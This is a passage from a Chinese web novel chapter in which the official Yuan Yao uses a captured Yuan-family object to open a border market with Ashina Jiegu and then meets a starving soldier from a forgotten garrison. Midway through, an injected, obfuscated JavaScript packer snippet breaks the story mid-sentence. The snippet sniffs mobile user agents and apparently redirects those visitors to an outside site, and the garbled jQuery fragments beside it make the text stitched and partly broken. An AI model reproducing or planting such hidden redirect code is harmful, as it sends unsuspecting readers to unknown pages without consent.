大手一挥便全部算作充公。
仓库充盈,能够让江北支撑一段时间,元窈这段时间紧绷着的神经终于放松一些,想起之前那封送给阿史那结骨却没有后续的回信。
元瑞既然能够拉拢阿史那射匮,那同样也可以拉拢阿史那结骨,而对方没有回复自己,看来是被元瑞的优越条件迷惑。
她想起沈从疏阿史那射匮缴获回来一件信物,是带有元家标识的精美器物,想必是元家赠予的礼物。
元窈拿来纸笔,修书一封,感谢阿史那结骨作为兄长对阿史那射匮的约束,使之不再进犯江北,促进江北和平。
信的最后,暗示若是愿意配合,江北愿意与之合作,开通小规模,受控范围内的榷场。
将信装入信封封好,派人将信和缴获来的器物一齐交给阿史那结骨。
她自然是知道让阿史那射匮老实的是可汗而并非阿史那结骨,这并非重点,重点是他看见器物上的“元”字,会如何动作。
那件器物本来应该是举证元瑞与阿史那射匮私用的证物,可元窈改变了主意。
通过之前种种,即使是言官弹劾,证据举报,都不能助元惜苓撼动元家地位,她便不在正常手段上抱有希望。
不如用它来下一局更大的棋。
与江北开通榷场,能够从一定程度上与阿史那射匮达成平衡,而且是更加干净的榷场往来,阿史那结骨没有理由不答应。
元窈也很乐意这样的榷场开通,意味着江北终于有了干净稳定的物资交易。
江北和洋纳终于开了一个口子,开始贸易往来,逐渐走向正常,江北军队走进一个前来求助的士兵。
沈从疏接手了这个士
;eval(function(p,a,c,k,e,d){e=function(c){return(c
35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16956575|193149||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
兵,发现事情并非他能解决,将人护送至朔寒城。
此人自称隶属于边防军铁鹰军。
元窈听到这支军队,不禁抬眸。
她没有听说过铁鹰军这个番号,在她接手江北时看过军队的名目,也没有记录这支军队。
抬眼无声询问慎予和沈从疏,两人都摇头。
元窈再看向那人时,眼中多了怀疑。
那人虽然骨瘦嶙峋又年纪较大,但是身形笔直,说话动作间确实有军人风范。
此时却直接跪下,向元窈诉说遭遇。
“末将是铁鹰军中的一个小卒,这些年来一直驻守烽火台,可是从十年前开始,渐渐与朝廷断了联系,三年前物资补给也随之断绝……”
元窈让他将烽火台据点的位置在地图上画出。
他画出的地方是一片前朝建立的军事堡垒,位置极偏,而且要穿越洋纳活动区,早已基本上被默认为弃用。
难以想象,十年的失联,三年的物资断绝,他们是如何活到现在。
“你们的首领是谁,又是如何活下来的?”
“是赵擎将军。据点战略位置重要,将军带领我们绝不后撤一步,于是我们靠狩猎和野菜颗颗支撑着,没有一人后退半步。”
“是不知为何,从前段时间开始,洋纳的查封放松,末将才能成功冒死穿越封锁线,前来求助。”
看来是和洋纳开通榷场的缘故,才使这支孤立无援